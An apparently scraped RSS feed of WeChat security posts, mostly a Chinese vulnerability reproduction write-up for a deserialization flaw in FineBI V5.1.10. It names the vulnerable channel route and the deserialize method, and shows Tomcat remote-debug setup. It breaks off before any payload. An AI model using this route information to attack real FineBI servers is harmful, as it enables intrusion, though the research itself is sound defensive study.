245, 236);border-radius: 2px;"><span leaf="">/jmreport/view</span></code><span leaf="">开头，否则不允许访问</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="image-20250113173222516" class="rich_pages wxw-img" data-imgfileid="100002059" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d5fb1538&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ezgUbytNSX4hX79bFqAZuCVI8oQubVo1B3QfGODjzBqaeaeG8gJ5eqDd8zwAWOfA63OjVKj9El5g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">参考文档</span></h2><blockquote style="box-sizing: border-box;margin: 20px 10px;padding: 1px 0px 1px 10px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left: 3px solid rgb(158, 158, 158);"><p style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf=""><a href="https://help.jeecg.com/java/setup/idea/startup.html" target="_blank">https://help.jeecg.com/java/setup/idea/startup.html</a></span></p></blockquote><section><span leaf=""><br/></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485714">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f88b21bf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485714%26idx%3D1%26sn%3Dd2721f2a3ceb2471b5a257e93513b64f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 08 Feb 2025 16:59:00 +0800</pubDate>
    </item>
    <item>
      <title>帆软Finebi_V5.1.10_channel反序列化漏洞复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485701&amp;idx=1&amp;sn=668e8f8056e8407ee9d22479bddeba41</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>kkk</span> <span>2025-01-07 16:22</span> <span style="display: inline-block;">广东</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8c89d163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD5MYYJErs4Qvx89ed3HIibExicyLe2yGYWNDy4iaXkQZib1ntPLhvuE7FQ8w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">1.安装</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">复现版本:FineBI V5.1.10</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">安装后，后台地址 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">webroot/decision/login</span></code></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">2.反编译</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">找到所有以fine开头的包，复制到单独文件夹进行反编译</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">3.漏洞复现</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">在</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">fine-decision-report-11.0/com/fr/decision/extension/report/api/remote/RemoteDesignResource.java</span></code><span leaf="">文件中找到目录路由</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">漏洞路由</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf=""><a href="http://localhost:37799/webroot/decision/remote/design/channel" target="_blank">http://localhost:37799/webroot/decision/remote/design/channel</a></span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002039" class="rich_pages wxw-img" data-ratio="0.22962962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=1979ca28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD52Fyyl2QZvcIOrcaMvaqV3zjryRAwzZnialFQnJuL6CGgv0gFO734hcg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">但是在帆软的官方安装包下，没有找到调试的方法，我们把源代码</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">webroot</span></code><span leaf="">放到tomcat的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">webapps</span></code><span leaf="">目录下</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">设置tomcat debug</span></h2><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">mac</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">chmod u+x *.sh</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">新增文件</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">setenv.sh</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">JPDA_OPTS=&#34;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005&#34;</span></code></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002041" class="rich_pages wxw-img" data-ratio="0.5027777777777778" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=6f49ef21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD5VU0SZaXXVaZprpQ9nxo2N5NsvjWgnmLb989MyPHfpUEInUBkXHAfVA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">然后再修改startup.sh,将最后一句改写成</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__built_in">exec</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__string"><span class="code-snippet__plaintext">&#34;</span></span><span class="code-snippet__string"><span class="code-snippet__variable">$PRGDIR</span></span><span class="code-snippet__string"><span class="code-snippet__plaintext">&#34;</span></span><span class="code-snippet__plaintext">/</span><span class="code-snippet__string"><span class="code-snippet__plaintext">&#34;</span></span><span class="code-snippet__string"><span class="code-snippet__variable">$EXECUTABLE</span></span><span class="code-snippet__string"><span class="code-snippet__plaintext">&#34;</span></span><span class="code-snippet__plaintext"> jpda start </span><span class="code-snippet__string"><span class="code-snippet__plaintext">&#34;</span></span><span class="code-snippet__string"><span class="code-snippet__variable">$@</span></span><span class="code-snippet__string"><span class="code-snippet__plaintext">&#34;</span></span></span></code></pre></section><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">windows</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">setenv.bat</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__built_in">set</span><span class="code-snippet__plaintext"> JPDA_ADDRESS=5005</span></span></code><code><span leaf=""><span class="code-snippet__built_in">set</span><span class="code-snippet__plaintext"> JPDA_TRANSPORT=dt_socket</span></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">startup.bat 加上jpda</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">call</span><span class="code-snippet__plaintext"> &#34;%EXECUTABLE%&#34; jpda </span><span class="code-snippet__keyword">start</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__operator">%</span><span class="code-snippet__plaintext">CMD_LINE_ARGS</span><span class="code-snippet__operator">%</span></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">然后通过jdk1.8,通过Windows启动tomcat，成功启动</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002042" class="rich_pages wxw-img" data-ratio="0.37962962962962965" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d78ad930&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD5RS9GlqQnV9S89kicbXa729Ak0dLQDcOqJdyMeHpWUHxmLiawE4OJib9pQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">但是经过测试，帆软清除了java包里面的行信息，导致在代码里面下断点，但是还是可以在方法中下断点的。</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">代码分析</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">输入的input流最后，经过层层转转以后到了</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">InvocationSerializer</span></code><span leaf=""> class的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">deserialize</span></code><span leaf="">方法</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">大概流程如下:</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: 